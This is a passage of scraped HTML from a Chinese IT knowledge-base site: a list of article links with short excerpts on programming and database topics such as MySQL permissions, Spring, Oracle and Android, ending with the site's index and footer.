                        <div>本文问题Q292、通过以上沟通,您对本项目(为AI聊天工具的使用者构建一个外挂知识系统)的蒙板(作为一般术语)是否就有了准确的认识?项目中使用Facet作为它的技术术语,您是否能清晰刻划出来呢?认识统一了我们就可以进入下一步了。Q293、Facet作文本项目的技术术语(本项目的全责技术代名词)Facet是一个知识库组件。重说:Facet作文本项目的技术术语(本项目的全面技术--全括责/权/利--代</div>
                    </li>
                    <li><a href="/article/1882459594039554048.htm"
                           title="Powershell语言的云计算" target="_blank">Powershell语言的云计算</a>
                        <span class="text-muted">萧澄华</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%85%E7%BD%97%E4%B8%87%E8%B1%A1/1.htm">包罗万象</a><a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>PowerShell与云计算:新时代的自动化管理工具在当今快速发展的信息技术时代,云计算已经成为企业和个人计算资源的主要选择。随着云服务的普及,如何高效地管理和自动化云环境中的资源,成为了IT管理员和开发者们面临的重要挑战。PowerShell作为一款强大的脚本语言和自动化框架,凭借其优秀的功能和灵活性,逐渐在云计算管理中扮演了不可或缺的角色。一、PowerShell简介1.1什么是PowerSh</div>
                    </li>
                    <li><a href="/article/1882459090265894912.htm"
                           title="Vue全家桶 - 电商后台管理系统项目开发实录(详)" target="_blank">Vue全家桶 - 电商后台管理系统项目开发实录(详)</a>
                        <span class="text-muted">←か淡定☆ ヾ</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/html5/1.htm">html5</a><a class="tag" taget="_blank" href="/search/node.js/1.htm">node.js</a><a class="tag" taget="_blank" href="/search/css3/1.htm">css3</a>
                        <div>目录1.项目概述1.1电商项目基本业务概述1.2电商后台管理系统的功能1.3电商后台管理系统的开发模式(前、后端分离)2.项目初始化2.1前端项目初始化步骤码云相关操作2.2后台项目的环境安装配置3.登录/退出功能3.1登录概述3.2登录-token原理分析3.3实现登录功能3.4实现退出功能处理ESLint警告4.主页布局4.1后台首页基本布局4.2顶部布局,侧边栏布局4.2.1.顶部布局4.2</div>
                    </li>
                    <li><a href="/article/1882458963870543872.htm"
                           title="【Python百日进阶-Web开发-Feffery】Day604 - 趣味dash_04:Excel转Pdf文件" target="_blank">【Python百日进阶-Web开发-Feffery】Day604 - 趣味dash_04:Excel转Pdf文件</a>
                        <span class="text-muted">岳涛@泰山医院</span>
<a class="tag" taget="_blank" href="/search/Dash/1.htm">Dash</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/excel/1.htm">excel</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/dash/1.htm">dash</a>
                        <div>文章目录一、环境准备1.1初始化基础`Python+Dash`环境1.2本例中使用的第三方包二、本项目B站视频讲解三、页面效果四、项目源码一、环境准备1.1初始化基础Python+Dash环境CSDN文档参见:https://blog.csdn.net/yuetaope/article/details/129795264Bilibili视频参见:https://www.bilibili.com/v</div>
                    </li>
                    <li><a href="/article/1882457956709101568.htm"
                           title="Effective C++ 规则41:了解隐式接口和编译期多态" target="_blank">Effective C++ 规则41:了解隐式接口和编译期多态</a>
                        <span class="text-muted">哎呦,帅小伙哦</span>
<a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/effective/1.htm">effective</a><a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a>
                        <div>1、隐式接口C++中的隐式接口是指类或者模板中不显式声明为接口的一部分,但仍然可以像接口一样使用的成员或方法。隐式接口通常指那些不显式声明为虚函数的函数或者方法,但在多态上下文中仍然能表现出类似接口的行为。隐式接口通常出现在模板编程中,尤其是模板类型推导、SFINAE(SubstitutionFailureIsNotAnError)技术或者类型特性(typetraits)等编译期机制中。它使得类和</div>
                    </li>
                    <li><a href="/article/1882457578626150400.htm"
                           title="迷宫-广度策略 pta" target="_blank">迷宫-广度策略 pta</a>
                        <span class="text-muted">wzx_Eleven</span>
<a class="tag" taget="_blank" href="/search/%E8%93%9D%E6%A1%A5%E6%9D%AF/1.htm">蓝桥杯</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E8%81%8C%E5%9C%BA%E5%92%8C%E5%8F%91%E5%B1%95/1.htm">职场和发展</a>
                        <div>一个陷入迷宫的老鼠如何找到出口的问题。老鼠希望系统性地尝试所有的路径之后走出迷宫。如果它到达一个死胡同,将原路返回到上一个位置,尝试新的路径。在每个位置上老鼠可以向八个方向运动,顺序是从正东开始按照顺时针进行。无论离出口多远,它总是按照这样的顺序尝试,当到达一个死胡同之后,老鼠将进行“回溯”。迷宫只有一个入口,一个出口,设计程序要求输出迷宫的一条通路。迷宫采用二维存储结构表示,1表示障碍,0表示通</div>
                    </li>
                                <li><a href="/article/95.htm"
                                       title="PHP,安卓,UI,java,linux视频教程合集" target="_blank">PHP,安卓,UI,java,linux视频教程合集</a>
                                    <span class="text-muted">cocos2d-x小菜</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a>
                                    <div>╔-----------------------------------╗┆&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</div>
                                </li>
                                <li><a href="/article/222.htm"
                                       title="zookeeper admin 笔记" target="_blank">zookeeper admin 笔记</a>
                                    <span class="text-muted">braveCS</span>
<a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a>
                                    <div>&nbsp; 
Required Software 
1) JDK&gt;=1.6 
2)推荐使用ensemble的ZooKeeper(至少3台),并run on separate machines 
3)在Yahoo!,zk配置在特定的RHEL boxes里,2个cpu,2G内存,80G硬盘 
&nbsp;  


数据和日志目录  
1)数据目录里的文件是zk节点的持久化备份,包括快照和事务日</div>
                                </li>
                                <li><a href="/article/349.htm"
                                       title="Spring配置多个连接池" target="_blank">Spring配置多个连接池</a>
                                    <span class="text-muted">easterfly</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a>
                                    <div>项目中需要同时连接多个数据库的时候,如何才能在需要用到哪个数据库就连接哪个数据库呢? 
Spring中有关于dataSource的配置: 
&nbsp;&nbsp;&nbsp; &lt;bean id=&quot;dataSource&quot; class=&quot;com.mchange.v2.c3p0.ComboPooledDataSource&quot; 
&nbsp;&nbsp;&nb</div>
                                </li>
                                <li><a href="/article/476.htm"
                                       title="Mysql" target="_blank">Mysql</a>
                                    <span class="text-muted">171815164</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                                    <div>例如,你想myuser使用mypassword从任何主机连接到mysql服务器的话。 
 
GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'%'IDENTIFIED BY 'mypassword' WI 
 
TH GRANT OPTION; 
 
如果你想允许用户myuser从ip为192.168.1.6的主机连接到mysql服务器,并使用mypassword作</div>
                                </li>
                                <li><a href="/article/603.htm"
                                       title="CommonDAO(公共/基础DAO)" target="_blank">CommonDAO(公共/基础DAO)</a>
                                    <span class="text-muted">g21121</span>
<a class="tag" taget="_blank" href="/search/DAO/1.htm">DAO</a>
                                    <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 好久没有更新博客了,最近一段时间工作比较忙,所以请见谅,无论你是爱看呢还是爱看呢还是爱看呢,总之或许对你有些帮助。 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DAO(Data Access Object)是一个数据访问(顾名思义就是与数据库打交道)接口,DAO一般在业</div>
                                </li>
                                <li><a href="/article/730.htm"
                                       title="直言有讳" target="_blank">直言有讳</a>
                                    <span class="text-muted">永夜-极光</span>
<a class="tag" taget="_blank" href="/search/%E6%84%9F%E6%82%9F/1.htm">感悟</a><a class="tag" taget="_blank" href="/search/%E9%9A%8F%E7%AC%94/1.htm">随笔</a>
                                    <div>&nbsp; 
1.转载地址:http://blog.csdn.net/jasonblog/article/details/10813313 
&nbsp; 
精华: 
“直言有讳”是阿里巴巴提倡的一种观念,而我在此之前并没有很深刻的认识。为什么呢?就好比是读书时候做阅读理解,我喜欢我自己的解读,并不喜欢老师给的意思。在这里也是。我自己坚持的原则是互相尊重,我觉得阿里巴巴很多价值观其实是基本的做人</div>
                                </li>
                                <li><a href="/article/857.htm"
                                       title="安装CentOS 7 和Win 7后,Win7 引导丢失" target="_blank">安装CentOS 7 和Win 7后,Win7 引导丢失</a>
                                    <span class="text-muted">随便小屋</span>
<a class="tag" taget="_blank" href="/search/centos/1.htm">centos</a>
                                    <div>一般安装双系统的顺序是先装Win7,然后在安装CentOS,这样CentOS可以引导WIN 7启动。但安装CentOS7后,却找不到Win7 的引导,稍微修改一点东西即可。 
一、首先具有root 的权限。 
&nbsp;&nbsp;&nbsp;&nbsp; 即进入Terminal后输入命令su,然后输入密码即可 
二、利用vim编辑器打开/boot/grub2/grub.cfg文件进行修改 
v</div>
                                </li>
                                <li><a href="/article/984.htm"
                                       title="Oracle备份与恢复案例" target="_blank">Oracle备份与恢复案例</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a>
                                    <div>Oracle备份与恢复案例 
一. 理解什么是数据库恢复当我们使用一个数据库时,总希望数据库的内容是可靠的、正确的,但由于计算机系统的故障(硬件故障、软件故障、网络故障、进程故障和系统故障)影响数据库系统的操作,影响数据库中数据的正确性,甚至破坏数据库,使数据库中全部或部分数据丢失。因此当发生上述故障后,希望能重构这个完整的数据库,该处理称为数据库恢复。恢复过程大致可以分为复原(Restore)与</div>
                                </li>
                                <li><a href="/article/1111.htm"
                                       title="JavaEE开源快速开发平台G4Studio v5.0发布" target="_blank">JavaEE开源快速开发平台G4Studio v5.0发布</a>
                                    <span class="text-muted">無為子</span>

                                    <div>&nbsp; 
我非常高兴地宣布,今天我们最新的JavaEE开源快速开发平台G4Studio_V5.0版本已经正式发布。 
&nbsp; 
访问G4Studio网站  
http://www.g4it.org   &nbsp;   
2013-04-06 发布G4Studio_V5.0版本 
功能新增 
(1). 新增了调用Oracle存储过程返回游标,并将游标映射为Java List集合对象的标</div>
                                </li>
                                <li><a href="/article/1238.htm"
                                       title="Oracle显示根据高考分数模拟录取" target="_blank">Oracle显示根据高考分数模拟录取</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/PL%2FSQL%E7%BC%96%E7%A8%8B/1.htm">PL/SQL编程</a><a class="tag" taget="_blank" href="/search/oracle%E4%BE%8B%E5%AD%90/1.htm">oracle例子</a><a class="tag" taget="_blank" href="/search/%E6%A8%A1%E6%8B%9F%E9%AB%98%E8%80%83%E5%BD%95%E5%8F%96/1.htm">模拟高考录取</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E4%BA%A4%E6%B5%81/1.htm">学习交流</a>
                                    <div>题目要求: 
1,创建student表和result表
2,pl/sql对学生的成绩数据进行处理
3,处理的逻辑是根据每门专业课的最低分线和总分的最低分数线自动的将录取和落选 
&nbsp; 
&nbsp; 
1,创建student表,和result表 
学生信息表; 
create table student(
   student_id number primary key,--学生id</div>
                                </li>
                                <li><a href="/article/1365.htm"
                                       title="优秀的领导与差劲的领导" target="_blank">优秀的领导与差劲的领导</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/%E9%A2%86%E5%AF%BC/1.htm">领导</a><a class="tag" taget="_blank" href="/search/%E7%AE%A1%E7%90%86/1.htm">管理</a><a class="tag" taget="_blank" href="/search/%E5%9B%A2%E9%98%9F/1.htm">团队</a>
                                    <div>责任 

  优秀的领导:优秀的领导总是对他所负责的项目担负起责任。如果项目不幸失败了,那么他知道该受责备的人是他自己,并且敢于承认错误。 
  
 差劲的领导:差劲的领导觉得这不是他的问题,因此他会想方设法证明是他的团队不行,或是将责任归咎于团队中他不喜欢的那几个成员身上。 
 
努力工作 

  优秀的领导:团队领导应该是团队成员的榜样。至少,他应该与团队中的其他成员一样努力工作。这仅仅因为他</div>
                                </li>
                                <li><a href="/article/1492.htm"
                                       title="js函数在浏览器下的兼容" target="_blank">js函数在浏览器下的兼容</a>
                                    <span class="text-muted">Bill_chen</span>
<a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/%E6%B5%8F%E8%A7%88%E5%99%A8/1.htm">浏览器</a><a class="tag" taget="_blank" href="/search/IE/1.htm">IE</a><a class="tag" taget="_blank" href="/search/DWR/1.htm">DWR</a><a class="tag" taget="_blank" href="/search/ext/1.htm">ext</a>
                                    <div>&nbsp; 做前端开发的工程师,少不了要用FF进行测试,纯js函数在不同浏览器下,名称也可能不同。对于IE6和FF,取得下一结点的函数就不尽相同: 
 
&nbsp; IE6:node.nextSibling,对于FF是不能识别的; 
 
&nbsp; FF:node.nextElementSibling,对于IE是不能识别的; 
 
兼容解决方式:var Div = node.nextSibl</div>
                                </li>
                                <li><a href="/article/1619.htm"
                                       title="【JVM四】老年代垃圾回收:吞吐量垃圾收集器(Throughput GC)" target="_blank">【JVM四】老年代垃圾回收:吞吐量垃圾收集器(Throughput GC)</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6/1.htm">垃圾回收</a>
                                    <div>吞吐量与用户线程暂停时间 
&nbsp; 
衡量垃圾回收算法优劣的指标有两个: 
 
 吞吐量越高,则算法越好 
 暂停时间越短,则算法越好 
 
首先说明吞吐量和暂停时间的含义。 
&nbsp; 
垃圾回收时,JVM会启动几个特定的GC线程来完成垃圾回收的任务,这些GC线程与应用的用户线程产生竞争关系,共同竞争处理器资源以及CPU的执行时间。GC线程不会对用户带来的任何价值,因此,好的GC应该占</div>
                                </li>
                                <li><a href="/article/1746.htm"
                                       title="J2EE监听器和过滤器基础" target="_blank">J2EE监听器和过滤器基础</a>
                                    <span class="text-muted">白糖_</span>
<a class="tag" taget="_blank" href="/search/J2EE/1.htm">J2EE</a>
                                    <div> Servlet程序由Servlet,Filter和Listener组成,其中监听器用来监听Servlet容器上下文。 
监听器通常分三类:基于Servlet上下文的ServletContex监听,基于会话的HttpSession监听和基于请求的ServletRequest监听。 
&nbsp; 
 
 ServletContex监听器 
   ServletContex又叫application</div>
                                </li>
                                <li><a href="/article/1873.htm"
                                       title="博弈AngularJS讲义(16) - 提供者" target="_blank">博弈AngularJS讲义(16) - 提供者</a>
                                    <span class="text-muted">boyitech</span>
<a class="tag" taget="_blank" href="/search/js/1.htm">js</a><a class="tag" taget="_blank" href="/search/AngularJS/1.htm">AngularJS</a><a class="tag" taget="_blank" href="/search/api/1.htm">api</a><a class="tag" taget="_blank" href="/search/Angular/1.htm">Angular</a><a class="tag" taget="_blank" href="/search/Provider/1.htm">Provider</a>
                                    <div>&nbsp; Angular框架提供了强大的依赖注入机制,这一切都是有注入器(injector)完成. 注入器会自动实例化服务组件和符合Angular API规则的特殊对象,例如控制器,指令,过滤器动画等。 
&nbsp; 那注入器怎么知道如何去创建这些特殊的对象呢? Angular提供了5种方式让注入器创建对象,其中最基础的方式就是提供者(provider), 其余四种方式(Value, Fac</div>
                                </li>
                                <li><a href="/article/2000.htm"
                                       title="java-写一函数f(a,b),它带有两个字符串参数并返回一串字符,该字符串只包含在两个串中都有的并按照在a中的顺序。" target="_blank">java-写一函数f(a,b),它带有两个字符串参数并返回一串字符,该字符串只包含在两个串中都有的并按照在a中的顺序。</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>

public class CommonSubSequence {

	/**
	 * 题目:写一函数f(a,b),它带有两个字符串参数并返回一串字符,该字符串只包含在两个串中都有的并按照在a中的顺序。
	 * 写一个版本算法复杂度O(N^2)和一个O(N) 。
	 * 
	 * O(N^2):对于a中的每个字符,遍历b中的每个字符,如果相同,则拷贝到新字符串中。
	 * O(</div>
                                </li>
                                <li><a href="/article/2127.htm"
                                       title="sqlserver 2000 无法验证产品密钥" target="_blank">sqlserver 2000 无法验证产品密钥</a>
                                    <span class="text-muted">Chen.H</span>
<a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/SQL+Server/1.htm">SQL Server</a><a class="tag" taget="_blank" href="/search/Microsoft/1.htm">Microsoft</a>
                                    <div>在 Service Pack 4 (SP 4), 是运行 Microsoft Windows Server 2003、 Microsoft Windows Storage Server 2003 或 Microsoft Windows 2000 服务器上您尝试安装 Microsoft SQL Server 2000 通过卷许可协议 (VLA) 媒体。 这样做, 收到以下错误信息CD KEY的 SQ</div>
                                </li>
                                <li><a href="/article/2254.htm"
                                       title="[新概念武器]气象战争" target="_blank">[新概念武器]气象战争</a>
                                    <span class="text-muted">comsci</span>

                                    <div> 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 气象战争的发动者必须是拥有发射深空航天器能力的国家或者组织.... 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 原因如下: 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 地球上的气候变化和大气层中的云层涡旋场有密切的关系,而维持一个在大气层某个层次</div>
                                </li>
                                <li><a href="/article/2381.htm"
                                       title="oracle 中 rollup、cube、grouping 使用详解" target="_blank">oracle 中 rollup、cube、grouping 使用详解</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/grouping/1.htm">grouping</a><a class="tag" taget="_blank" href="/search/rollup/1.htm">rollup</a><a class="tag" taget="_blank" href="/search/cube/1.htm">cube</a>
                                    <div>oracle 中 rollup、cube、grouping 使用详解 -- 使用oracle 样例表演示 转自namesliu 
 
-- 使用oracle 的样列库,演示 rollup, cube, grouping 的用法与使用场景&nbsp; 
&nbsp; 
--- ROLLUP , 为了理解分组的成员数量,我增加了 分组的计数&nbsp; COUNT(SAL)&nbsp; 
&nbsp;</div>
                                </li>
                                <li><a href="/article/2508.htm"
                                       title="技术资料汇总分享" target="_blank">技术资料汇总分享</a>
                                    <span class="text-muted">Dead_knight</span>
<a class="tag" taget="_blank" href="/search/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%96%99%E6%B1%87%E6%80%BB+%E5%88%86%E4%BA%AB/1.htm">技术资料汇总 分享</a>
                                    <div>本人汇总的技术资料,分享出来,希望对大家有用。 
 
http://pan.baidu.com/s/1jGr56uE 
 
资料主要包含: 
Workflow-&gt;工作流相关理论、框架(OSWorkflow、JBPM、Activiti、fireflow...) 
Security-&gt;java安全相关资料(SSL、SSO、SpringSecurity、Shiro、JAAS...) 
Ser</div>
                                </li>
                                <li><a href="/article/2635.htm"
                                       title="初一下学期难记忆单词背诵第一课" target="_blank">初一下学期难记忆单词背诵第一课</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/english/1.htm">english</a><a class="tag" taget="_blank" href="/search/word/1.htm">word</a>
                                    <div>could 能够 
minute 分钟 
Tuesday 星期二 
February 二月 
eighteenth 第十八 
listen 听 
careful 小心的,仔细的 
short 短的 
heavy 重的 
empty 空的 
certainly 当然 
carry 携带;搬运 
tape 磁带 
basket 蓝子 
bottle 瓶 
juice 汁,果汁 
head 头;头部 
</div>
                                </li>
                                <li><a href="/article/2762.htm"
                                       title="截取视图的图片, 然后分享出去" target="_blank">截取视图的图片, 然后分享出去</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/OS/1.htm">OS</a><a class="tag" taget="_blank" href="/search/Objective-C/1.htm">Objective-C</a>
                                    <div>OS 7 has a new method that allows you to draw a view hierarchy into the current graphics context. This can be used to get an UIImage very fast. 
I implemented a category method on UIView to get the vi</div>
                                </li>
                                <li><a href="/article/2889.htm"
                                       title="MySql重置密码" target="_blank">MySql重置密码</a>
                                    <span class="text-muted">fanxiaolong</span>
<a class="tag" taget="_blank" href="/search/MySql%E9%87%8D%E7%BD%AE%E5%AF%86%E7%A0%81/1.htm">MySql重置密码</a>
                                    <div>方法一: 
&nbsp;在my.ini的[mysqld]字段加入: 
skip-grant-tables 
重启mysql服务,这时的mysql不需要密码即可登录数据库 
&nbsp;然后进入mysql 
mysql&gt;use mysql; 
&nbsp;mysql&gt;更新 user set password=password('新密码') WHERE User='root'; 
mysq</div>
                                </li>
                                <li><a href="/article/3016.htm"
                                       title="Ehcache(03)——Ehcache中储存缓存的方式" target="_blank">Ehcache(03)——Ehcache中储存缓存的方式</a>
                                    <span class="text-muted">234390216</span>
<a class="tag" taget="_blank" href="/search/ehcache/1.htm">ehcache</a><a class="tag" taget="_blank" href="/search/MemoryStore/1.htm">MemoryStore</a><a class="tag" taget="_blank" href="/search/DiskStore/1.htm">DiskStore</a><a class="tag" taget="_blank" href="/search/%E5%AD%98%E5%82%A8/1.htm">存储</a><a class="tag" taget="_blank" href="/search/%E9%A9%B1%E9%99%A4%E7%AD%96%E7%95%A5/1.htm">驱除策略</a>
                                    <div>Ehcache中储存缓存的方式 
&nbsp; 
目录 
1&nbsp;&nbsp;&nbsp;&nbsp; 堆内存(MemoryStore) 
1.1&nbsp;&nbsp;&nbsp;&nbsp; 指定可用内存 
1.2&nbsp;&nbsp;&nbsp;&nbsp; 驱除策略 
1.3&nbsp;&nbsp;&nbsp;&nbsp; 元素过期 
2&nbsp;&nbsp;&nbsp;&nbs</div>
                                </li>
                                <li><a href="/article/3143.htm"
                                       title="spring mvc中的@propertysource" target="_blank">spring mvc中的@propertysource</a>
                                    <span class="text-muted">jackyrong</span>
<a class="tag" taget="_blank" href="/search/spring+mvc/1.htm">spring mvc</a>
                                    <div>&nbsp; 在spring mvc中,在配置文件中的东西,可以在java代码中通过注解进行读取了: 
 
@PropertySource&nbsp; 在spring 3.1中开始引入 
 
比如有配置文件 
config.properties 
 
mongodb.url=1.2.3.4 
mongodb.db=hello 
 
则代码中 
&nbsp; 

@PropertySource(&</div>
                                </li>
                                <li><a href="/article/3270.htm"
                                       title="重学单例模式" target="_blank">重学单例模式</a>
                                    <span class="text-muted">lanqiu17</span>
<a class="tag" taget="_blank" href="/search/%E5%8D%95%E4%BE%8B/1.htm">单例</a><a class="tag" taget="_blank" href="/search/Singleton/1.htm">Singleton</a><a class="tag" taget="_blank" href="/search/%E6%A8%A1%E5%BC%8F/1.htm">模式</a>
                                    <div>最近在重新学习设计模式,感觉对模式理解更加深刻。觉得有必要记下来。 
	第一个学的就是单例模式,单例模式估计是最好理解的模式了。它的作用就是防止外部创建实例,保证只有一个实例。
	单例模式的常用实现方式有两种,就人们熟知的饱汉式与饥汉式,具体就不多说了。这里说下其他的实现方式
	静态内部类方式: 
package test.pattern.singleton.statics;

publ</div>
                                </li>
                                <li><a href="/article/3397.htm"
                                       title=".NET开源核心运行时,且行且珍惜" target="_blank">.NET开源核心运行时,且行且珍惜</a>
                                    <span class="text-muted">netcome</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E6%BA%90/1.htm">开源</a>
                                    <div>背景 
2014年11月12日,ASP.NET之父、微软云计算与企业级产品工程部执行副总裁Scott Guthrie,在Connect全球开发者在线会议上宣布,微软将开源全部.NET核心运行时,并将.NET 扩展为可在 Linux 和 Mac OS 平台上运行。.NET核心运行时将基于MIT开源许可协议发布,其中将包括执行.NET代码所需的一切项目——CLR、JIT编译器、垃圾收集器(GC)和核心</div>
                                </li>
                                <li><a href="/article/3524.htm"
                                       title="使用oscahe缓存技术减少与数据库的频繁交互" target="_blank">使用oscahe缓存技术减少与数据库的频繁交互</a>
                                    <span class="text-muted">Everyday都不同</span>
<a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/%E9%AB%98%E5%B9%B6%E5%8F%91/1.htm">高并发</a><a class="tag" taget="_blank" href="/search/oscahe%E7%BC%93%E5%AD%98/1.htm">oscahe缓存</a>
                                    <div>此前一直不知道缓存的具体实现,只知道是把数据存储在内存中,以便下次直接从内存中读取。对于缓存的使用也没有概念,觉得缓存技术是一个比较”神秘陌生“的领域。但最近要用到缓存技术,发现还是很有必要一探究竟的。 
&nbsp; 
缓存技术使用背景:一般来说,对于web项目,如果我们要什么数据直接jdbc查库好了,但是在遇到高并发的情形下,不可能每一次都是去查数据库,因为这样在高并发的情形下显得不太合理——</div>
                                </li>
                                <li><a href="/article/3651.htm"
                                       title="Spring+Mybatis 手动控制事务" target="_blank">Spring+Mybatis 手动控制事务</a>
                                    <span class="text-muted">toknowme</span>
<a class="tag" taget="_blank" href="/search/mybatis/1.htm">mybatis</a>
                                    <div>@Override 
&nbsp;&nbsp;&nbsp;public&nbsp;boolean&nbsp;testDelete(String&nbsp;jobCode)&nbsp;throws&nbsp;Exception { 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;boolean&nbsp;flag&nbsp;=&nbsp;false; 
&nbsp;&nbs</div>
                                </li>
                                <li><a href="/article/3778.htm"
                                       title="菜鸟级的android程序员面试时候需要掌握的知识点" target="_blank">菜鸟级的android程序员面试时候需要掌握的知识点</a>
                                    <span class="text-muted">xp9802</span>
<a class="tag" taget="_blank" href="/search/android/1.htm">android</a>
                                    <div>熟悉Android开发架构和API调用 
掌握APP适应不同型号手机屏幕开发技巧 
熟悉Android下的数据存储&nbsp; 
熟练Android Debug Bridge Tool 
熟练Eclipse/ADT及相关工具&nbsp; 
熟悉Android框架原理及Activity生命周期 
熟练进行Android UI布局 
熟练使用SQLite数据库; 
熟悉Android下网络通信机制,S</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>